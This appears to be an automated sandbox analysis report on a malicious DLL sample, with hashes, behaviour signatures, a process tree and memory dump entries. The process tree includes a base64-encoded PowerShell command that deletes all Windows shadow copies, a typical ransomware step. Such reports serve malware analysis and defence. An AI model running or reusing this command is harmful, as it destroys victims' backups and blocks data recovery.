Analysis

  • max time kernel
    15s
  • max time network
    124s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    04-06-2021 11:27

General

  • Target

    38beb0ea97e3c5758b4839b8874d552a6ddce7bcde77986c62bf49041e229bc6.bin.sample.dll

  • Size

    164KB

  • MD5

    2756f86ef462729bd072ef2d05f00f54

  • SHA1

    b074e97c19bc69d39c235c763675b492e2e216f1

  • SHA256

    38beb0ea97e3c5758b4839b8874d552a6ddce7bcde77986c62bf49041e229bc6

  • SHA512

    9c6a618870ebb1a50bd647f26327d4ab25905c8d438e1f71be87f343e91d58c0e4683afeefc7f725b091cb1a47b5e7fa30d99402fb4296a88e8a5b138ef62d14

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\38beb0ea97e3c5758b4839b8874d552a6ddce7bcde77986c62bf49041e229bc6.bin.sample.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3016
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\38beb0ea97e3c5758b4839b8874d552a6ddce7bcde77986c62bf49041e229bc6.bin.sample.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4032
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4052
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2160

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/3908-114-0x0000000000000000-mapping.dmp
    • memory/4032-115-0x0000000000000000-mapping.dmp
    • memory/4032-121-0x0000026F72010000-0x0000026F72011000-memory.dmp
      Filesize

      4KB

    • memory/4032-126-0x0000026F721C0000-0x0000026F721C1000-memory.dmp
      Filesize

      4KB

    • memory/4032-127-0x0000026F70030000-0x0000026F70032000-memory.dmp
      Filesize

      8KB

    • memory/4032-128-0x0000026F70033000-0x0000026F70035000-memory.dmp
      Filesize

      8KB

    • memory/4032-138-0x0000026F70036000-0x0000026F70038000-memory.dmp
      Filesize

      8KB